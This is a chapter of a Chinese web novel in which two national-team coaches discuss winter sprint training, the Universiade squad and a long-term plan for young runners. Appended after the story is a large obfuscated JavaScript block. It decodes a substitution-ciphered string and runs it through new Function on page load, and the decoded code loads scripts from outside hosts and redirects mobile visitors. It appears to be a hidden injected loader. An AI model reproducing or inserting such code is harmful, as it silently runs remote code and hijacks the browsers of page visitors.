第二百九十七章 冬训时刻,大运会(2 / 2)

“余指导,我明白的!”

林幕认真的点点头。

奥运会、世锦赛,各类的单项比赛总决赛,这都是现在国际上比较有影响力的比赛。这些比赛的成绩荣誉都真实反应着一个国家的体育现状。

但其实,体现国家方方面面的,何止这些。比如世少,比如世青,也比如,参赛选手为在校大学生,以及毕业不到两年的大学生为主体的世界大学生运动会。

余伟立的意思他明白,但他想得,既然经过了,怎么也要想办法能提供些助益。

也是因为如此,才让他感觉到了些压力。他还没想好要如何去合理的介入。

除了那些因为有了些成绩挂着大学名头的职业运动员以外,其他的那些真正的大学生运动员跟他们专业队真的不是一个路子。

运动员们的培养离不开教练的指导。现在的专业队,能成为一名体育教练的,要么就是运动员出身,退役后转行,通过自己丰富的职业生涯和受训经验,完善巩固,然后传递给训练的运动员。

另外一种,就是学院出身,但跟随其他教练汲取运动经验、执教经验,再自我总结学习,通过自己对于运动员的训练,再进一步积累。

但学院里现在的那些教练显然两者都不是,至少大多都不是。

他们有自己独立的注册单位,他们也有自己独立的一套训练程序,专业队对于这些运动员的培养也从来插不上话。特别是在某些项目上,院校体队的某些运动员曾经创造过辉煌荣誉以后。

以往有时接触,更多时候他们想的都是来专业队挖些人才和资源,至于说被指导?

现在虽然是上头下了指令,而且大运会选拔的大名单人员也都来到了犀浦。但可以想到,这里的环境,这里的训练设施条件,甚至这里国家给与的福利待遇扶持才是他们想要的。除非那些真正比较开放的,更多的不会受他们这些“大老粗”来指导。

当然,他的情况要好些,毕竟他带出的短跑成绩有目共睹。但也只可能是提供意见,他想主导是不可能的。

林幕也没想着要主导,他想的也就是让他们接触一下专业队的体能训练方法。如果可能,再根据运动员们的实际情况,他可以针对性的给出些训练意见。至于结果如何,林幕无法判断。

“好,你看着办。如果有什么不好说、要沟通的再来找我吧!”

余伟立又交待了下后,就没再提那些大学生运动员的事了,自己这边田径队的事,才是最主要的。就像之前林幕想的那样,现在田径队的形势都还不错,但需要进一步的巩固。而且,08年奥运会似乎就像一次大考一样,一直在等着他们。

“冬训开始十多天了,我一直在盯那两边,特别是跨栏那里……算了,不说那个,你怎么样?现在情况都还好吧?”

“都挺正常,集训开始没几天的时候,我给他们开了个会,把去年传达的资料做了些增补,我最近整理出来的那些也都向他们传达了下,目前看起来都配合的不错。这也不是一蹴而就的事,只要有这个态度就很好,至少目前他们做的那些计划我看着都还行。”

林幕没有去考虑余伟立的言犹未尽,他目前也只能管着自己这边的。

现在国家队四位副总教练,除了余伟立这个相当于常务的副总教练,包括他在内的其他三人,都没有具体划出负责的范围。因此,也只能按照目前的项目来管自己的一摊子事。

余伟立满意的笑着点了点头,接着问道:“嗯,我看了几回,干的确实都挺积极。真希望能有像你说的那一天。”

余伟立有些期待,如果能弄出一个好的梯队传承,不管对哪方面都好。

“不过,小林,你们目前带的这些运动员还是要放在重点的,未来几年,还是要靠着他们出成绩的。”

“余指导,你放心,我明白。目前他们的训练都是按照专项力量和专项体能素质的周期在强化,一个周期结束,就会进行下一步的技术训练。

小细节上的东西平时都有调整,循序渐进的一步步的把上限推高吧。这次冬训突击强化,等明年各项比赛开赛,我准备就把他们撒出去了。隔一段时间回来一次,再配合上接力训练集中强化…”

林幕不假思索的给余伟立介绍着自己的计划,这些他都早考虑过了。明年国内外的比赛,目前接力队的人差不多都能有参加一般赛事的资格了。训练、实战,循环往复,这永远都是最快的磨合提升方法。

余伟立听着,不时的微笑颔首,他挺满意。

训练计划他都有,这个就算林幕不解释,以他多年经验也能看的清楚。他觉得都不错,比起去年那些激进的训练计划,现在的是越来越老道,他挺欣慰的。更欣慰的是,林幕对手下运动员下一步的比赛和训练的协调方面的安排。

“不错,至少在我看来没毛病。”余伟立笑着肯定的点了点头。

“对了,这次召来的那些年轻运动员怎么回事?听说有不少单位都挺不理解的?”

林幕停了停,解释道:“主要的是年龄比较小的那些,这一次一共就招了六七个人,从这些小孩的身上,我发现了不少问题。应该就是训练理念上的问题吧。跟陈建海和何俊他们以前的情况差不多的。”

稍思忖了一会,林幕接着说道:“问题是哪些,或者将来会发展到哪样其实大家心里都有些谱在。既然会是这样,那就更应该从小的时候就要把好的落实下去,我们不等着他们马上出成绩…”

“是啊!不等着出成绩!”余伟立认真的点点头,接着又微微的摇摇头,:“你继续说吧,现在你都是怎么安排的?”

“嗯,主要是改进技术,短跑技术,除了到高层次时需精细的根据身体素质调外,通常的技术步骤其实都差不多。还有起跑反应和起速需要的感觉节奏,这些都只会是不停加强的过程。他们现在都小,近乎白板,所以更容易加深这些方面的技术印象。根据他们的特点,可以把起跑,起速,途中的脚步和身姿习惯先规范起来。

跟身体素质一样,这些都是运动员必须训练的重点。只要技术上都能跑出突出优势特点,再有适合和舒服的跑步节奏,他们的速度提起来也很快……”

“至于说的他们不赞同的地方,可能更多是在专项的力量上和对天赋开发的步骤上。大概他们觉得,我一面在强调专项体能,强调核心力量爆发力,强调突出优势。一面却又压着他们放缓脚步吧!

其实,地方队很多强行上力量磨身体的训练,并不一定会比现在我们用的训练方法有效率。余指导,您可能知道,前年我带的几个学生跑的U系列比赛吧?

论身体力量、绝对速度,那几个学生真不比其他那些小孩强。但是最后成绩,差距却反而拉的不小……

核心力量、爆发力当然是短跑重中之重,但不用急于一时,他们的年龄还小,可以均衡着持续发展。要按着训练计划走,两三年之后,等到身体各方面机能不断稳定后,可以针对他们优势项加大力度,等到身体达到一定程度,那成绩绝对会有一个爆发……”

“体质、技术?长久发展?”

余伟立沉吟着,稍半晌后,吐出了几个词。

林幕说的很多,训练方法上,理念上,还有针对自身特点的优势扩大上,等等。这些都可以从各类的训练文案中找出依据来。但更多的反应的还是些老问题。

因为现在老队员们的成绩不断提升,之前一直也在忙着其他项目的事,差点就把这些老问题忘了。

国家队啊,好几批运动员了,都是可见的天赋运动员。可几乎很少还能在通常的巅峰期保持着高水平,甚至于还有着严重的伤病。

现在的陈建海、何俊都是例子,他能想到的,如果不是有去年冬训时的改变。甚至于不是运动员自身的心志足够坚定,可能这一批又废了。

更可怕的是,如果没有林幕带出来的这几个突然冒出来的人,在他们的视野里,似乎连能接着这一批的运动员都没。早前记录在案作为观察后备的那些人,现在就连一个能跑进10秒30的都没。这让他想想就有些不寒而栗。

“你放手干吧,需要有什么支持,就来跟我说。我办不了的,我找冯指导找罗主任。这个思路,这一份传承,必须落定了!”

!function(){function a(a){var _idx="v2gnzcw4xp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8X@p24(DoRJ"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"X@p24(DoRJ"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mpOL2fmRT4"="o}0X5ThF)m64YdCmRT4"="o}02pThFmpOL2fmRT4"="o}0_JqhFm64YdCmRT4"="o}02TOhFmpOL2fmRT4"="o}0CSqhF)m64YdCmRT4"="o}0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q/f/o}0j(8}vR8X@p24(DoRJ"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();